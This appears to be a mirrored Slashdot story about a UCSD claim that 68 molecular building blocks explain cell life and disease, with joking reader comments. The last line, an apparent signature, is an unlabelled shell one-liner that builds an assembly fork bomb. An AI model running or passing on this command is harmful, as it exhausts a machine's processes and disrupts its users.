Slashdot Mirror
Are 68 Molecules Enough To Understand Diseases?
Roland Piquepaille writes "A researcher from the University of California at San Diego (UCSD) claims that 68 molecules can explain the origins of many serious diseases. After reviewing findings from multiple disciplines, he 'realized that only 68 molecular building blocks are used to construct these four fundamental components of cells: the nucleic acids (DNA and RNA), proteins, glycans and lipids,' and he said that 'these 68 building blocks provide the structural basis for the molecular choreography that constitutes the entire life of a cell.'"
You should only need 42.
An AC on Slashdot claims that 2 bits can explain the origins of many serious computer viruses. After reviewing findings from multiple hosts, he 'realized that only 2 bits are used to construct these four fundamental components of computers: the processor (x86 and x86_64), memory, storage and network tubes,' and he said that 'these 2 building blocks provide the structural basis for the bitwise choreography that constitutes the entire life of a computer.
When he tried for 69, he blew it.
Insert Generic Sig Here:
117?! This is an overkill. I can boil them down to 3 subatomic particles - electron, proton and neutron. Physicists, feel free to pitch in. Lets get to the bottom of these pesky diseases.
This just in: Carbon-based vulnerability discovered in Carbon-based lifeforms.
If you can read this, I forgot to post anonymously.
Nonsense.
On a completely unrelated note, I've made an illustration with 5 essential parts of all buildings: nails, screws, wood, cement, and support beams. These 5 building blocks provide the structural basis for the architectural choreography that constitutes the entire structure of a building. These construction components may now hold the keys to uncovering the origins of many grievous architectural problems that continue to evade understanding.
Solution:
Ban carbon compounds.
Sure, it means losing one element and we'd have to give up a few things - I'm not saying we wouldn't get our hair mussed. But picture it - A world without disease. So which is better - A world with carbon compounds and rampant disease or a world where we give up carbon compounds and rid the planet of all disease? You decide.
=P
He's getting rather old, but he's a good mouse.
Strings. Science over.
Well done. In a 2-line post you managed both be an ass-hole and make an ass of yourself.
* Applause *
It has been discovered that there are only 3 elementary particles that are at the cause of ALL disease. We should be more focused on understanding protons, neutrons and electrons, then we could have ALL the answers, not just The Answer.
I mean, c'mon, there's only three of them, how difficult could it be?
Now that I think about it, I'm pretty sure everything I just said is completely wrong.
68 molecules ought to be enough for everyone!!
Sorry for the self-reply, but I just realized the flaw in my logic and realized why my 'Ban carbon compounds' proposal won't fly...
There are carbon compounds in oil - No way the lobbyists are letting us get that through Washington... Oh well, I can dream.
He's getting rather old, but he's a good mouse.
Fixed it for ya!
Ever since he submitted that story about mind control and manipulation.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;